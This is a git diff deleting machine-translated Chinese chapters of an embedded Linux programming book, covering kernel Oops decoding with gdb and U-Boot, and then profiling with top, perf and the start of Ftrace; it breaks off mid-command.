hardtype=0 installed=0 -kdb> go -``` - -内核恢复运行,控制台显示正常的 shell 提示符。 如果您键入`sync`,它将命中断点并再次进入`kdb`: - -```sh -Entering kdb (current=0xdf388a80, pid 88) due to Breakpoint @0xc01304ec -``` - -`kdb`不是源代码级别的调试器,因此您看不到源代码或单步执行。 但是,您可以使用`bt`命令显示回溯,这对于了解程序流和调用层次结构非常有用。 - -## 看一个 Oops - -当内核执行无效内存访问或执行非法指令时,内核**Oops**消息将写入内核日志。 其中最有用的部分是回溯,我想向您展示如何使用那里的信息来定位导致错误的代码行。 如果 Oops 消息导致系统崩溃,我还将解决保留 Oops 消息的问题。 - -此 Oops 消息是通过写入`MELP/Chapter19/mbx-driver-oops`中的邮箱驱动程序生成的: - -```sh -Unable to handle kernel NULL pointer dereference at virtual address 00000004 -pgd = dd064000 -[00000004] *pgd=9e58a831, *pte=00000000, *ppte=00000000 -Internal error: Oops: 817 [#1] PREEMPT ARM -Modules linked in: mbx(O) -CPU: 0 PID: 408 Comm: sh Tainted: G O 4.8.12-yocto-standard #1 -Hardware name: Generic AM33XX (Flattened Device Tree) -task: dd2a6a00 task.stack: de596000 -PC is at mbx_write+0x24/0xbc [mbx] -LR is at __vfs_write+0x28/0x48 -pc : [] lr : [] psr: 800e0013 -sp : de597f18 ip : de597f38 fp : de597f34 -r10: 00000000 r9 : de596000 r8 : 00000000 -r7 : de597f80 r6 : 000fda00 r5 : 00000002 r4 : 00000000 -r3 : de597f80 r2 : 00000002 r1 : 000fda00 r0 : de49ee40 -Flags: Nzcv IRQs on FIQs on Mode SVC_32 ISA ARM Segment none -Control: 10c5387d Table: 9d064019 DAC: 00000051 -Process sh (pid: 408, stack limit = 0xde596210) -``` - -Oops 中显示 PC 的行位于`mbx_write+0x24/0xbc [mbx]`,它告诉您想知道的大部分内容:最后一条指令位于名为`mbx`的内核模块的`mbx_write`函数中。 此外,它位于函数开始处的偏移量`0x24`字节,即`0xbc`字节长。 - -接下来,我们来看看回溯: - -```sh -Stack: (0xde597f18 to 0xde598000) -7f00: bf0000cc 00000002 -7f20: 000fda00 de597f80 de597f4c de597f38 c024ff40 bf0000d8 de49ee40 00000002 -7f40: de597f7c de597f50 c0250c40 c024ff24 c026eb04 c026ea70 de49ee40 de49ee40 -7f60: 000fda00 00000002 c0107908 de596000 de597fa4 de597f80 c025187c c0250b80 -7f80: 00000000 00000000 00000002 000fda00 b6eecd60 00000004 00000000 de597fa8 -7fa0: c0107700 c0251838 00000002 000fda00 00000001 000fda00 00000002 00000000 -7fc0: 00000002 000fda00 b6eecd60 00000004 00000002 00000002 000ce80c 00000000 -7fe0: 00000000 bef77944 b6e1afbc b6e73d00 600e0010 00000001 d3bbdad3 d54367bf -[] (mbx_write [mbx]) from [] (__vfs_write+0x28/0x48) -[] (__vfs_write) from [] (vfs_write+0xcc/0x158) -[] (vfs_write) from [] (SyS_write+0x50/0x88) -[] (SyS_write) from [] (ret_fast_syscall+0x0/0x3c) -Code: e590407c e3520b01 23a02b01 e1a05002 (e5842004) ----[ end trace edcc51b432f0ce7d ]--- -``` - -在本例中,我们没有了解更多信息,只知道`mbx_write`是从虚拟文件系统函数`_vfs_write`调用的。 - -找到与`mbx_write+0x24`相关的代码行将是非常好的,我们可以使用带有`/s`修饰符的 gdb 命令`disassemble`,这样它就可以同时显示源代码和汇编器代码。 在本例中,代码位于`mbx.ko`模块中,因此我们将其加载到`gdb`中: - -```sh -$ arm-poky-linux-gnueabi-gdb mbx.ko -[…] -(gdb) disassemble /s mbx_write -Dump of assembler code for function mbx_write: -99 { -0x000000f0 <+0>: mov r12, sp -0x000000f4 <+4>: push {r4, r5, r6, r7, r11, r12, lr, pc} -0x000000f8 <+8>: sub r11, r12, #4 -0x000000fc <+12>: push {lr} ; (str lr, [sp, #-4]!) -0x00000100 <+16>: bl 0x100 -100 struct mbx_data *m = (struct mbx_data *)file->private_data; -0x00000104 <+20>: ldr r4, [r0, #124] ; 0x7c -0x00000108 <+24>: cmp r2, #1024 ; 0x400 -0x0000010c <+28>: movcs r2, #1024 ; 0x400 -101 if (length > MBX_LEN) -102 length = MBX_LEN; -103 m->mbx_len = length; -0x00000110 <+32>: mov r5, r2 -0x00000114 <+36>: str r2, [r4, #4] -``` - -OOPS 告诉我们错误发生在`mbx_write+0x24`。 从反汇编中,我们可以看到`mbx_write`位于地址`0xf0`。 将`0x24`相加得到`0x114`,它由行`103`上的代码生成。 - -重要音符 - -您可能认为我收到了错误的说明,因为列表显示为`0x00000114 <+36>: str r2, [r4, #4]`。 当然,我们要找的是`+24`,而不是`+36`? 啊,但是 gdb 的作者试图在这里迷惑我们。 偏移量是以十进制显示的,而不是`hex: 36 = 0x24`,所以我最终还是得到了正确的偏移量! - -您可以从行`100`看到`m`具有类型 struct`mbx_data *`。 下面是定义该结构的地方: - -```sh -#define MBX_LEN 1024 -struct mbx_data { -    char mbx[MBX_LEN]; -    int mbx_len; -}; -``` - -因此,看起来`m`变量是一个空指针,这就是导致 Oops 的原因。 查看`m`被初始化的代码,我们可以看到缺少一行。 通过修改驱动程序来初始化指针,如以下代码块中突出显示的那样,它工作正常,没有 Oop: - -```sh -static int mbx_open(struct inode *inode, struct file *file) -{ -    if (MINOR(inode->i_rdev) >= NUM_MAILBOXES) { -        printk("Invalid mbx minor number\n"); -        return -ENODEV; -    } -    file->private_data = &mailboxes[MINOR(inode->i_rdev)]; -    return 0; -} -``` - -并不是每个 Oops 都这么容易定位,特别是如果它发生在内核日志缓冲区的内容可以显示之前。 - -## 保存 Oop - -解码 Oops 只有在您首先能够捕获它的情况下才有可能。 如果系统在控制台启用之前或挂起后启动时崩溃,您将看不到它。 有一些机制可以将内核 Oop 和消息记录到 MTD 分区或永久内存,但这里有一种简单的技术,它在许多情况下都有效,不需要事先考虑。 - -只要内存内容在重置期间没有损坏(通常不会损坏),您就可以重新引导到引导加载程序并使用它来显示内存。 您需要知道内核日志缓冲区的位置,记住它是一个简单的文本消息环形缓冲区。 符号为`__log_buf`。 在`System.map`中查找内核: - -```sh -$ grep __log_buf System.map -c0f72428 b __log_buf -``` - -然后,通过减去`PAGE_OFFSET`并添加 RAM 的物理起点,将该内核逻辑地址映射到 U-Boot 可以理解的物理地址。 `PAGE_OFFSET`几乎总是`0xc0000000`,而 RAM 的起始地址是 Beaglebone 上的`0x80000000`,因此计算变成了`c0f72428 - 0xc0000000 + 0x80000000 = 80f72428`。 - -现在可以使用 U-Boot`md`命令显示日志: - -```sh -U-Boot# -md 80f72428 -80f72428: 00000000 00000000 00210034 c6000000 ........4.!..... -80f72438: 746f6f42 20676e69 756e694c 6e6f2078 Booting Linux on -80f72448: 79687020 61636973 5043206c 78302055 physical CPU 0x -80f72458: 00000030 00000000 00000000 00730084 0.............s. -80f72468: a6000000 756e694c 65762078 6f697372 ....Linux versio -80f72478: 2e34206e 30312e31 68632820 40736972 n 4.1.10 (chris@ -80f72488: 6c697562 29726564 63672820 65762063 builder) (gcc ve -80f72498: 6f697372 2e34206e 20312e39 6f726328 rsion 4.9.1 (cro -80f724a8: 6f747373 4e2d6c6f 2e312047 302e3032 sstool-NG 1.20.0 -80f724b8: 20292029 53203123 5720504d 4f206465 ) ) #1 SMP Wed O -80f724c8: 32207463 37312038 3a31353a 47203335 ct 28 17:51:53 G -``` - -重要音符 - -从 Linux3.5 开始,内核日志缓冲区中的每一行都有一个 16 字节的二进制头,用于编码时间戳、日志级别和其他内容。 在 Linux 周新闻*朝向更可靠的日志记录*,在[https://lwn.net/Articles/492125/](https://lwn.net/Articles/492125/)上有一个关于它的讨论。 - -在本节中,我们研究了如何使用`kgdb`在源代码级别调试内核代码。 然后,我们研究了在`kdb`shell 中设置断点和打印回溯。 最后,我们了解了如何使用`dmesg`或 U-Boot 命令行从控制台读取内核 Oops 消息。 - -# 摘要 - -了解如何使用 gdb 进行交互式调试是嵌入式系统开发人员工具箱中的一个有用工具。 它是一个稳定的、有据可查的、知名的实体。 它能够通过在目标上放置一个代理来进行远程调试,无论是应用的`gdbserver`还是内核代码的`kgdb`,虽然默认的命令行用户界面需要一段时间才能习惯,但还有许多替代前端。 我提到的三个是 TUI、DDD 和 Visual Studio 代码。 Eclipse 是另一个流行的前端,它支持通过 CDT 插件使用 GDB 进行调试。 有关如何配置 CDT 以使用交叉工具链并连接到远程设备的信息,请参考*进一步阅读*部分中的参考资料。 - -第二种同样重要的调试方法是收集崩溃报告并离线分析它们。 在这个类别中,我们查看了应用核心转储和内核 Oops 消息。 - -然而,这只是识别程序缺陷的一种方式。 在下一章中,我将讨论分析和跟踪作为分析和优化程序的方法。 - -# 进一步阅读 - -以下资源提供了有关本章中介绍的主题的更多信息: - -* *The Art of Debug with gdb,DDD,and Eclipse*,Norman Matloff 和 Peter - Jay Salzman -* *GDB Pocket Reference*,Arnold Robbins 著 -* *GNU 调试器中的 Python 解释器,*by Crazygiar:[https://www.pythonsheets.com/appendix/python-gdb.html](https://www.pythonsheets.com/appendix/python-gdb.html) -* *使用 Python 扩展 gdb,*作者:Lisa Roach:[https://www.youtube.com/watch?v=xt9v5t4_zvE](https://www.youtube.com/watch?v=xt9v5t4_zvE) -* *用 CMake 和 VS 代码*交叉编译,Enes?ZTÜRK:[https://enes-ozturk.medium.com/cross-compiling-with-cmake-and-vscode-9ca4976fdd1](https://enes-ozturk.medium.com/cross-compiling-with-cmake-and-vscode-9ca4976fdd1) -* *使用 gdb*进行远程调试,由 enesÖZTÜRK:[https://enes-ozturk.medium.com/remote-debugging-with-gdb-b4b0ca45b8c1](https://enes-ozturk.medium.com/remote-debugging-with-gdb-b4b0ca45b8c1) -* *掌握 Eclipse:交叉编译*:[https://2net.co.uk/tutorial/eclipse-cross-compile](https://2net.co.uk/tutorial/eclipse-cross-compile) -* *掌握 Eclipse:远程访问和调试*:[https://2net.co.uk/tutorial/eclipse-rse](https://2net.co.uk/tutorial/eclipse-rseS) \ No newline at end of file diff --git a/docs/master-emb-linux-prog/20.md b/docs/master-emb-linux-prog/20.md deleted file mode 100644 index 285d36ee..00000000 --- a/docs/master-emb-linux-prog/20.md +++ /dev/null @@ -1,1004 +0,0 @@ -# 二十、分析和跟踪 - -如上一章所述,使用源代码级调试器进行交互式调试可以让您深入了解程序的工作方式,但它会将您的视图限制在一小部分代码中。 在本章中,我们将着眼于整体情况,看看系统是否按预期运行。 - -程序员和系统设计师出了名的不善于猜测瓶颈在哪里。 因此,如果您的系统有性能问题,明智的做法是从查看整个系统开始,然后使用更复杂的工具向下工作。 在本章中,我将从大家熟知的`top`命令开始,作为一种获得概述的方法。 通常,问题可以定位到单个程序,您可以使用 Linux 分析器`perf`对其进行分析。 如果问题并不局限于此,并且您希望了解更广泛的情况,`perf`也可以做到这一点。 为了诊断与内核相关的问题,我将描述一些跟踪工具,Ftrace、LTTng 和 BPF,作为收集详细信息的一种方式。 - -我还将介绍 Valgrind,由于其沙箱执行环境,它可以在程序运行时监视程序并报告代码。 我将用一个简单的跟踪工具`strace`来结束本章,该工具通过跟踪程序进行的系统调用来揭示程序的执行。 - -在本章中,我们将介绍以下主题: - -* 观察者效应 -* 开始配置文件 -* 使用`top`评测 -* 这个可怜人的侧写师 -* 介绍`perf` -* 跟踪事件 -* 介绍 Ftrace -* 使用 LTTng -* 使用 BPF -* 使用 Valgrind -* 使用`strace` - -# 技术要求 - -要按照示例操作,请确保您具备以下条件: - -* 一种基于 Linux 的主机系统 -* Buildroot 2020.02.9 LTS 版本 -* 适用于 Linux 的蚀刻器 -* 一种微型 SD 卡读卡器及读卡器 -* 覆盆子派 4 -* 一种 5V 3A USB-C 电源 -* 用于网络连接的以太网电缆和端口 - -您应该已经为[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*安装了 Buildroot 的 2020.02.9 LTS 版本。 如果没有,请参考*Buildroot 用户手册*([https://buildroot.org/downloads/manual/manual.html](https://buildroot.org/downloads/manual/manual.html))的*系统要求*部分,然后再按照[*第 6 章*](06.html#_idTextAnchor164)中的说明在您的 LINUX 主机上安装 Buildroot。 - -本章的所有代码都可以在本书的 GitHub 存储库的`Chapter20`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 观察者效应 - -在深入了解这些工具之前,让我们先来讨论一下这些工具将向您展示什么。 与许多领域的情况一样,测量某个属性会影响观测本身。 测量电源线中的电流需要测量一个小电阻上的电压降。 然而,电阻器本身会影响电流。 性能分析也是如此:每个系统观察都有 CPU 周期的开销,并且该资源不再花费在应用上。 度量工具还会扰乱缓存行为、消耗内存空间和写入磁盘,所有这些都会使情况变得更糟。 没有没有开销的测量。 - -我经常听到工程师说,分析工作的结果完全是误导性的。 这通常是因为他们是在一些不接近真实情况的东西上进行测量。 始终尝试使用软件的发布版本、使用有效的数据集、使用尽可能少的额外服务在目标上进行测量。 - -发布版本通常意味着在没有调试符号的情况下构建完全优化的二进制文件。 这些生产要求严重限制了大多数分析工具的功能。 - -## 符号表和编译标志 - -一旦我们的系统启动并运行,我们将立即遇到问题。 虽然观察系统的自然状态很重要,但工具通常需要额外的信息才能理解事件。 - -有些工具需要特殊的内核选项。 对于我们在本章中研究的工具,这适用于`perf`、Ftrace、LTTng 和 BPF。 因此,您可能需要为这些测试构建和部署一个新内核。 - -调试符号在将原始程序地址转换为函数名和代码行时非常有用。 使用调试符号部署可执行文件不会更改代码的执行,但它确实要求您具有使用调试信息编译的二进制文件和内核的副本,至少对于要分析的组件是这样。 例如,如果您在目标系统上安装了以下工具:`perf`,则某些工具工作得最好。 这些技术与我在[*第 19 章*](19.html#_idTextAnchor529),*使用 GDB*调试中讨论的常规调试技术相同。 - -如果要使用工具生成调用图,则可能必须在启用堆栈框架的情况下进行编译。 如果您希望该工具准确地将地址与代码行相关联,则可能需要使用较低级别的优化进行编译。 - -最后,有些工具需要将插装插入到程序中以捕获样本,因此您必须重新编译这些组件。 这适用于内核的 Ftrace 和 LTTng。 - -请注意,您对正在观察的系统进行的更改越多,就越难将您所做的测量与生产系统相关联。 - -给小费 / 翻倒 / 倾覆 - -最好采取观望的方式,只有在明确需要时才进行更改,并且要记住,每次这样做都会改变您正在测量的内容。 - -因为分析的结果可能非常模糊,所以在获得更复杂、更具侵入性的工具之前,先从简单易用的工具开始。 - -# 开始配置文件 - -查看整个系统时,一个很好的起点是使用一个简单的工具,如 -`top`,它可以非常快速地为您提供概述。 它显示了使用了多少内存、哪些进程占用了 CPU 周期,以及这些 CPU 周期是如何跨不同的内核和时间分布的。 - -如果`top`显示单个应用正在耗尽用户空间中的所有 CPU 周期,则可以使用`perf`分析该应用。 - -如果两个或多个进程的 CPU 使用率很高,则可能有某种因素将它们耦合在一起,比如数据通信。 如果在系统调用或处理中断上花费了大量周期,则可能是内核配置或设备驱动程序有问题。 在任何一种情况下,您都需要从获取整个系统的配置文件 -开始,再次使用`perf`。 - -如果您想了解更多关于内核和事件排序的信息,可以使用 Ftrace、LTTng 或 BPF。 - -可能还有`top`无法帮助您解决的其他问题。 如果您有多线程代码,并且存在锁定问题,或者如果您有随机的数据损坏,那么 Valgrind 加上 Helgrind 插件可能会有所帮助。 内存泄漏也属于这一类;我在[*第 18 章*](18.html#_idTextAnchor502),*管理内存*中介绍了与内存相关的诊断。 - -在我们讨论这些更高级的性能分析工具之前,让我们先从大多数系统(包括生产系统)上发现的最基本的工具开始。 - -# 顶部评测 - -**top**程序是一个简单的工具,不需要任何特殊的内核选项或符号表。 BusyBox 中有一个基本版本,`procps`包中有一个功能更强大的版本,可以在 Yocto 项目和 Buildroot 中找到。 您可能还想考虑使用`htop`,它在功能上与`top`相似,但用户界面更好(有些人认为)。 - -首先,关注`top`的摘要行,如果您使用 BusyBox,这是第二行,如果您使用的是`procps`中的`top`,则是第三行。 下面是一个使用 BusyBox 的`top`的示例: - -```sh -Mem: 57044K used, 446172K free, 40K shrd, 3352K buff, 34452K cached -CPU: 58% usr 4% sys 0% nic 0% idle 37% io 0% irq 0% sirq -Load average: 0.24 0.06 0.02 2/51 105 -PID PPID USER STAT VSZ %VSZ %CPU COMMAND -105 104 root R 27912 6% 61% ffmpeg -i track2.wav -[…] -``` - -汇总行显示在各种状态下运行的时间百分比,如下表所示: - -![](img/B11566_20_Table_01.jpg) - -在前面的示例中,几乎所有的时间(58%)都花在用户模式中,少量时间(4%)花在系统模式中,因此这是一个在用户空间中受 CPU 限制的系统。 摘要后的第一行显示只有一个应用负责:`ffmpeg`。 任何降低 CPU 使用率的努力都应该指向那里。 - -下面是另一个例子: - -```sh -Mem: 13128K used, 490088K free, 40K shrd, 0K buff, 2788K cached -CPU: 0% usr 99% sys 0% nic 0% idle 0% io 0% irq 0% sirq -Load average: 0.41 0.11 0.04 2/46 97 -PID PPID USER STAT VSZ %VSZ %CPU COMMAND -92 82 root R 2152 0% 100% cat /dev/urandom -[…] -``` - -由于从`/dev/urandom`读取`cat`,该系统几乎所有的时间都在内核空间中(99%`sys`)。 在这种人为的情况下,分析`cat`本身不会有什么帮助,但是分析`cat`调用的内核函数可能会有所帮助。 - -`top`的默认视图仅显示进程,因此 CPU 使用率是进程中所有线程的总和。 按*H*查看每个线程的信息。 同样,它会汇总所有 CPU 的时间。 如果您使用的是`procps`版本的`top`,您可以通过按*1*键查看每个 CPU 的摘要。 - -一旦我们使用`top`挑出了问题进程,我们就可以将 gdb 附加到它。 - -# 穷人的侧写 - -只需使用**gdb**以任意的间隔停止应用,查看它正在做什么,就可以分析应用。 这是**穷人的侧写**。 它易于设置,也是收集配置文件数据的一种方式。 - -步骤很简单: - -1. 使用`gdbserver`(用于远程调试)或 GDB(用于 - 本机调试)附加到进程。 该过程将停止。 -2. 观察它停止的功能。 您可以使用`backtrace`gdb 命令 - 查看调用堆栈。 -3. 键入`continue`,以便程序继续运行。 -4. 一段时间后,按*Ctrl*+*C*再次停止,然后返回*步骤 2*。 - -如果您重复*步骤 2*到*4*几次,您很快就会知道它是在循环还是在进步,如果您足够频繁地重复这些步骤,您就会知道代码中的热点在哪里。 - -在[http://poormansprofiler.org](http://poormansprofiler.org)上有一个完整的网页专门介绍这个想法,还有一些脚本可以让它变得更容易一些。 多年来,我在各种操作系统和调试器中多次使用这种技术。 - -这是**统计分析**的一个示例,在该示例中,您每隔一段时间对程序状态进行采样。 在个样本之后,您开始了解正在执行的函数的统计可能性。 令人惊讶的是,你真正需要的东西如此之少。 其他统计分析器有`perf record`、OProfile 和`gprof`。 - -使用调试器进行采样是侵入性的,因为在您收集样本时,程序会在很长一段时间内停止。 其他工具可以用低得多的开销来实现这一点。 `perf`就是这样一个工具。 - -# 介绍 perf - -**perf**是 Linux**性能事件计数器子系统**、 -`perf_events`的缩写,也是用于与 -`perf_events`交互的命令行工具的名称。 从 Linux2.6.31 开始,两者都是内核的一部分。 在`tools/perf/Documentation`和[https://perf.wiki.kernel.org](https://perf.wiki.kernel.org)中的 linux 源代码树中都有大量有用的信息。 - -开发`perf`的最初动力是提供访问**性能测量单元**(**PMU**)的寄存器的统一方式,该单元是大多数现代处理器内核的一部分。 一旦 API 被定义并集成到 Linux 中,扩展它以涵盖其他类型的性能计数器就变得顺理成章了。 - -`perf`的核心是一个事件计数器集合,其中包含有关它们何时主动收集数据的规则。 通过设置规则,您可以从整个系统捕获数据,只捕获内核,或者只捕获一个进程及其子进程,然后跨所有 CPU 或仅从一个 CPU 捕获数据。 它非常灵活。 使用这一工具,您可以从查看整个系统开始,然后将重点放在似乎导致问题的设备驱动程序、运行缓慢的应用或执行时间似乎比您想象的更长的库函数上。 - -`perf`命令行工具的代码是内核的一部分,位于`tools/perf`目录中。 该工具和内核子系统是携手开发的,这意味着它们必须来自相同版本的内核。 `perf`可以做很多事情。 在本章中,我将仅将其作为分析器进行研究。 有关其其他功能的描述,请阅读`perf`手册页,并参考本节开头提到的文档。 - -除了调试符号,我们还需要设置两个配置选项才能在内核中完全启用`perf`。 - -## 为 Perf 配置内核 - -您需要一个为`perf_events`配置的内核,并且需要交叉编译`perf`命令才能在目标系统上运行。 相关内核配置为`CONFIG_PERF_EVENTS`,位于**常规设置**|**内核性能事件和计数器**菜单中。 - -如果您想要使用跟踪点进行分析(稍后将详细介绍此主题),还可以启用关于 Ftrace 一节中描述的选项。 在此期间,启用`CONFIG_DEBUG_INFO`也是值得的。 - -`perf`命令有许多依赖项,这使得交叉编译相当混乱。 然而,Yocto 项目和 Buildroot 都有针对它的目标包。 - -对于您有兴趣分析的二进制文件,您还需要在目标上使用调试符号;否则,`perf`将无法将地址解析为有意义的符号。 理想情况下,您需要整个系统(包括内核)的调试符号。 对于后者,请记住内核的调试符号位于`vmlinux`文件中。 - -## 与 Yocto 项目一起打造 Perf - -如果您正在使用标准的`linux-yocto`内核,那么`perf_events`已经启用,因此不需要再做任何事情。 - -要构建`perf`工具,您可以将其显式添加到目标映像依赖项中,也可以添加`tools-profile`功能。 正如我前面提到的,您可能需要目标映像以及内核`vmlinux`映像上的调试符号。 总的来说,这是您在`conf/local.conf`中需要的: - -```sh -EXTRA_IMAGE_FEATURES = "debug-tweaks dbg-pkgs tools-profile" -IMAGE_INSTALL_append = "kernel-vmlinux" -``` - -根据默认内核配置的来源,将`perf`添加到基于 Buildroot 的映像可能更加复杂。 - -## 使用 Buildroot 构建性能 - -许多 Buildroot 内核配置不包括`perf_events`,因此您应该从检查您的内核是否包含上一节提到的选项开始。 - -要交叉编译`perf`,请运行 Buildroot`menuconfig`并选择以下选项: - -* `BR2_LINUX_KERNEL_TOOL_PERF`在**内核**|**Linux 内核工具**中 - -要构建带有调试符号的程序包并在目标系统上未剥离地安装它们,请选择以下两个设置: - -* `BR2_ENABLE_DEBUG`在**生成选项**|**生成带有调试符号的包**菜单中 -* `BR2_STRIP = none`在**构建选项**|**目标菜单上二进制文件的**条命令中**** - -然后,运行`make clean`,然后运行`make`。 - -构建完所有内容后,您必须手动将`vmlinux`复制到目标 -映像中。 - -## 使用 Perf 进行评测 - -您可以使用`perf`通过其中一个事件计数器对程序状态进行采样,并在一段时间内累计样本以创建配置文件。 这是统计分析的另一个例子。 默认事件计数器称为`cycles`,它是映射到 PMU 寄存器的通用硬件计数器,该寄存器表示内核时钟频率下的周期计数。 - -使用`perf`创建配置文件的过程分为两个阶段:`perf record`命令捕获样本并将其写入名为`perf.data`的文件(默认情况下),然后`perf report`分析结果。 这两个命令都在目标系统上运行。 将为您指定的命令的进程和子命令过滤正在收集的样本。 以下是分析搜索`linux`字符串的 shell 脚本的示例: - -```sh -# perf record sh -c "find /usr/share | xargs grep linux > /dev/null" -[ perf record: Woken up 2 times to write data ] -[ perf record: Captured and wrote 0.368 MB perf.data (~16057 samples) ] -# ls -l perf.data --rw------- 1 root root 387360 Aug 25 2015 perf.data -``` - -现在,您可以使用`perf report`命令显示`perf.data`的结果。 您可以在命令行上选择三个用户界面: - -* `--stdio`:这是一个没有用户交互的纯文本界面。 您必须为跟踪的每个视图启动`perf report`和`annotate`。 -* `--tui`:这是一个简单的基于文本的菜单界面,可以在屏幕之间进行遍历。 -* `--gtk`:这是,这是一个图形界面,在其他方面与`--tui`的操作方式相同。 - -默认值为 TUI,如下例所示: - -![Figure 20.1 – perf report TUI](img/B11566_20_001.jpg) - -图 20.1-Perf 报告 TUI - -`perf`能够记录代表进程执行的内核函数,因为它收集内核空间中的样本。 - -列表首先以最活跃的功能排序。 在此示例中,在`grep`运行时捕获了除一个以外的所有对象。 一些在库中,`libc-2.20`,一些在程序中,`busybox.nosuid`,还有一些在内核中。 我们有程序和库函数的符号名称,因为所有二进制文件都已安装在带有调试信息的目标上,并且内核符号正在从`/boot/vmlinux`中读取。 如果您在不同位置有`vmlinux`,请将`-k `添加到`perf report`命令中。 您可以使用`perf record -o `将样本保存到不同的文件,并使用`perf report -i `对其进行分析,而不是将样本存储在`perf.data`中。 - -默认情况下,`perf record`使用`cycles`计数器以 1,000 Hz 的频率采样。 - -给小费 / 翻倒 / 倾覆 - -1,000 Hz 的采样频率可能高于您的实际需要, -可能是观察者效应的原因。 试着用较低的频率;根据我的经验,100 赫兹在大多数情况下就足够了。 您可以使用 -`-F`选项设置采样频率。 - -这仍然不是很容易;列表顶部的函数大多是低级内存操作,您可以相当肯定它们已经过优化。 幸运的是,`perf record`还使我们能够在调用堆栈中爬行,并查看这些函数被调用的位置。 - -## 调用图 - -退一步看看这些代价高昂的函数的周围环境会很好。 您可以通过将`-g`选项传递给`perf record`来捕获每个样本的回溯,从而实现这一点。 - -现在,`perf report`显示一个加号(`+`),其中函数是调用链的一部分。 您可以展开跟踪以查看链中较低的函数: - -![Figure 20.2 – perf report (call graphs)](img/B11566_20_002.jpg) - -图 20.2-Perf 报告(调用图) - -重要音符 - -生成调用图依赖于从堆栈中提取调用帧的能力,就像在 GDB 中进行回溯一样。 展开堆栈所需的信息编码在可执行文件的调试信息中,但并不是所有的体系结构和工具链组合都能够这样做。 - -回溯很好,但是 -这些函数的汇编程序或者更好的源代码在哪里呢? - -## 发信人:清华大学 2013 年 2 月 10 日晚上 10:00 - -现在您知道了要查看哪些函数,现在可以深入查看代码,并获得每条指令的命中计数。 这就是`perf annotate`所做的,方法是向下调用安装在目标上的`objdump`的副本。 您只需使用`perf annotate`代替`perf report`即可。 - -`perf annotate`需要可执行文件和`vmlinux`的符号表。 以下是带注释的函数的示例: - -![Figure 20.3 – perf annotate (assembler)](img/B11566_20_003.jpg) - -图 20.3-perf 注解(汇编程序) - -如果您希望看到与汇编器交错的源代码,可以将相关的源文件复制到目标设备。 如果您正在使用 Yocto 项目并使用`dbg-pkgs`额外的映像功能进行构建,或者已经安装了单独的`-dbg`包,那么源代码将在`/usr/src/debug`中为您安装。 否则,您可以检查调试信息以查看源代码的位置: - -```sh -$ arm-buildroot-linux-gnueabi-objdump --dwarf lib/libc-2.19.so | grep DW_AT_comp_dir -<3f> DW_AT_comp_dir : /home/chris/buildroot/output/build/hostgcc-initial-4.8.3/build/arm-buildroot-linux-gnueabi/libgcc -``` - -目标上的路径应该与您在 -`DW_AT_comp_dir`中看到的路径完全相同。 - -下面是一个带有源代码和汇编器代码的注释示例: - -![Figure 20.4 – perf annotate (source code)](img/B11566_20_004.jpg) - -图 20.4-perf 注释(源代码) - -现在我们可以在`cmp r0`上方和`str r3, [fp, #-40]`指令下方看到相应的 C 源代码。 - -我们对`perf`的报道到此结束。 虽然还有早于`perf`的其他统计抽样分析器,如 OProfile 和`gprof`,但这些工具在最近几年已经不再受欢迎,所以我选择省略它们。 接下来,我们来看看事件跟踪器。 - -# 跟踪事件 - -我们到目前为止看到的工具都是使用统计抽样的。 您通常希望更多地了解事件的顺序,以便您可以看到它们并使它们相互关联。 函数跟踪涉及使用跟踪点检测代码,这些跟踪点捕获有关事件的信息,并且可能包括以下部分或全部内容: - -* 时间戳 -* 上下文,如当前 PID -* 函数参数和返回值 -* 调用堆栈 - -它比统计分析更具侵入性,而且可以生成大量数据。 后一个问题可以通过在捕获样本时应用过滤器以及稍后在查看跟踪时应用过滤器来缓解。 - -这里我将介绍三个跟踪工具:内核函数跟踪程序**Ftrace**、**LTTng**和**BPF**。 - -# 介绍 Ftrace - -内核函数跟踪器**ftrace**是由 Steven Rostedt 和其他许多人在追踪实时应用中高调度延迟的原因时所做的工作发展而来的。 Ftrace 出现在 Linux2.6.27 中,此后一直在积极开发。 在`Documentation/trace`中有许多文档描述了内核源代码中的内核跟踪。 - -Ftrace 由许多跟踪程序组成,这些跟踪程序可以记录内核中的各种类型的活动。 在这里,我将讨论`function`和`function_graph`跟踪器以及事件跟踪点。 在[*第 21 章*](21.html#_idTextAnchor600),*实时编程*中,我将重新访问 Ftrace 并使用它来显示实时延迟。 - -`function`跟踪器检测每个内核函数,以便可以记录调用并为其加时间戳。 有趣的是,它使用`-pg`开关编译内核以注入插装。 `function_graph`跟踪程序更进一步,记录函数的进入和退出,以便创建调用图。 事件跟踪点功能还记录与呼叫关联的参数。 - -Ftrace 有一个非常嵌入式友好的用户界面,它完全通过`debugfs`文件系统中的虚拟文件实现,这意味着您不必在目标系统上安装任何工具 -就可以使其工作。 不过,如果您愿意,还可以使用其他用户界面:`trace-cmd`是记录和查看跟踪的命令行工具,在 Buildroot(`BR2_PACKAGE_TRACE_CMD`)和 Yocto Project(`trace-cmd`)中提供。 有一个名为**KernelShark**的图形跟踪查看器,作为 Yocto 项目的软件包提供。 - -与`perf`一样,启用 Ftrace 需要设置某些内核配置选项。 - -## 准备使用 Ftrace - -在内核配置菜单中配置了 ftrace 及其各种选项。 您至少需要以下各项: - -* `CONFIG_FUNCTION_TRACER`从**Kernel Hacking**|**Tracers**|**Kernel Function Tracer**菜单 - -出于稍后将会清楚说明的原因,建议您也启用这些选项: - -* `CONFIG_FUNCTION_GRAPH_TRACER`在**Kernel Hacking**|**Tracers**|**Kernel Function Graph Tracer**菜单中 -* `CONFIG_DYNAMIC_FTRACE`在**Kernel Hacking**|**Tracers**|**Enable/Disable Function Tracers Dynamic**菜单中 - -由于整个过程都驻留在内核中,因此不需要进行 -用户空间配置。 - -## 使用 Ftrace - -在可以使用 Ftrace 之前,您必须挂载`debugfs`文件系统,按照惯例,该文件系统位于`/sys/kernel/debug`目录中: - -```sh -# mount -t debugfs none /sys/kernel/debug -``` - -Ftrace 的所有控件都在`/sys/kernel/debug/tracing`目录中;在那里的`README`文件中甚至还有一个 mini`HOWTO`。 - -以下是内核中可用的跟踪程序列表: - -```sh -# cat /sys/kernel/debug/tracing/available_tracers -blk function_graph function nop -``` - -活动示踪剂由`current_tracer`表示,最初将是空的 -示踪剂`nop`。 - -要捕获跟踪,请通过将`available_tracers`之一的名称写入`current_tracer`来选择跟踪程序,然后短时间启用跟踪,如下所示: - -```sh -# 